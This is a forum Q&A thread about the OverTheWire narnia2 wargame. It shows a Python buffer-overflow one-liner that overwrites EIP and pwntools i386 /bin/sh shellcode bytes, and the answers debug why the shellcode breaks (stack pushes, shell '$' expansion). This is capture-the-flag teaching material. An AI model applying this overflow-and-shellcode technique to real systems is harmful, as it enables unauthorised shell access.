I'm trying to solve the narnia2 challenge on overthewire.

I read a guide for help and managed to overwrite the stack with A's using some python

$(python -c "print 'A'*132 + '\xef\xbe\xad\xde'")

and that works fine. I get a seg fault, and can use gdb to see eip has been overwritten with 0xdeadbeef - great so now I assumed the stack size is 132 bytes and then the next 4 overwrite eip to redirect the return.

( a lot of guides say to use 144 here - but I'm assuming the challenge changed? )

I used pwntools to generate me shellcode for a shell ( the same way I solves the previous challenge ) - and got

-> asm(shellcraft.i386.linux.sh()) 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

This payload worked on the previous challenge, but now when I go through the process of sticking this shellcode in my payload it never works. Replacing this with a shellcode from a guide works fine asm(shellcraft.i386.linux.sh()) 'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'

It looks the same but with some extra stuff at the start. Why is this and how is it produced?

  • The "shellcode from a guide" is different than the pwntools' shellcode (look at the third-last byte).
    – p1xel
    Commented Aug 20, 2020 at 10:23

2 Answers 2


This is a relatively old question, but I recently stumbled across the same problem myself. In the interest of the greater good, I will explain what is going on.

It is likely that the structure of your payload (the entire sequence of bytes you send to the process) is something like this:


Sadly, this does not work well with pwntools' shellcode. The reason is that the push instructions modify the stack, where your shellcode is. This means that the shellcode is (unintentionally) mutated to something else, and of course shenanigans ensue.

The solution is to add some padding after the shellcode. Because the stack grows to lesser addresses, push instructions will first overwrite the data in the greater address locations.


For me, MORE_PADDING of 32 bytes worked nicely. Do not forget to reduce the size of the original PADDING appropriately so that the return address is correctly overwritten.


When encountering such issue, you should keep debugging. After breaking on the payload you can notice GDB is showing these instructions (as Intel flavor disassembly):

push   0x68
push   0x732f2f2f
push   0x6e69622f
mov    ebx,esp
push   0x1010101
xor    DWORD PTR [ecx+eax*1],0x51c93101
push   0x4

This XOR instruction is suspicious since it is using eax and ecx while they've not been initiliazed by our shellcode. I checked against what pwnlib instructions suggest for this shellcode:

/* ... */
xor dword ptr [esp], 0x1016972
/* ... */

Then, you're still getting a SEGFAULT because the instruction is wrong, and dereferencing some incorrect values.

Also the second shellcode you're providing can be retrieved with shellcraft.execve('/bin/sh').


The issue is not from pwntools but must be linked to the way the payload is used. The bad instruction identified above contains a '$' character which is then (if you still use your $(python -c '...') input) interpreted by the subshell invoked as the variable name '$ri'.

This variable is likely not defined in your shell which in turn makes these 3 characters to be deleted from the input given to the program, hence, modifying operands of this instruction and the instruction following it.

In order to make it right, you may sanitize the input by bringing whatever is required. For example :


I suppose it is the issue you got, but can't be sure without more information.

  • So that means the payload created by pwnlib is incorrect and using values it hasn't yet initialised?
    – CWright
    Commented Dec 26, 2018 at 16:29

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.